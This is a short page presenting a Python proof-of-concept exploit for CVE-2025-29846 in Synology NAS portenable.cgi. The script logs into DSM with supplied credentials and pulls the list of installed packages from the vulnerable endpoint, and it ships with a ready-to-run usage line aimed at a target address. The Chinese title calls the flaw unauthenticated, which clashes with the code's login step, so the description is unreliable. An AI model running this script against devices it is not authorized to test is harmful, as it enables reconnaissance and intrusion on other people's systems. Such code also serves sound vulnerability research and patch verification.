CVE-2025-29846 Synology portenable.cgi 未授权信息泄露漏洞

import requests import sys # CVE-2025-29846 PoC - Synology portenable.cgi Information Disclosure # Target: Synology NAS devices with vulnerable portenable.cgi def exploit_cve_2025_29846(target_url, username, password): """ Exploit for CVE-2025-29846 This PoC demonstrates how an authenticated user can retrieve installed package status via portenable.cgi Note: This is for educational and authorized testing purposes only. """ # Step 1: Authenticate to Synology DSM login_url = f"{target_url}/webapi/auth.cgi" login_params = { "api": "SYNO.API.Auth", "method": "login", "version": "6", "username": username, "password": password } session = requests.Session() login_response = session.get(login_url, params=login_params) login_data = login_response.json() if login_data.get("success") != True: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Query installed packages via portenable.cgi # This is the vulnerable endpoint that exposes package status exploit_url = f"{target_url}/webapi/portenable.cgi" exploit_params = { "api": "SYNO.Core.Package", "method": "list", "version": "1" } exploit_response = session.get(exploit_url, params=exploit_params) if exploit_response.status_code == 200: packages = exploit_response.json() print("[+] Package information retrieved:") print(packages) return packages else: print("[-] Failed to retrieve package information") return None if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py https://192.168.1.1:5001 admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2025_29846(target, user, passwd)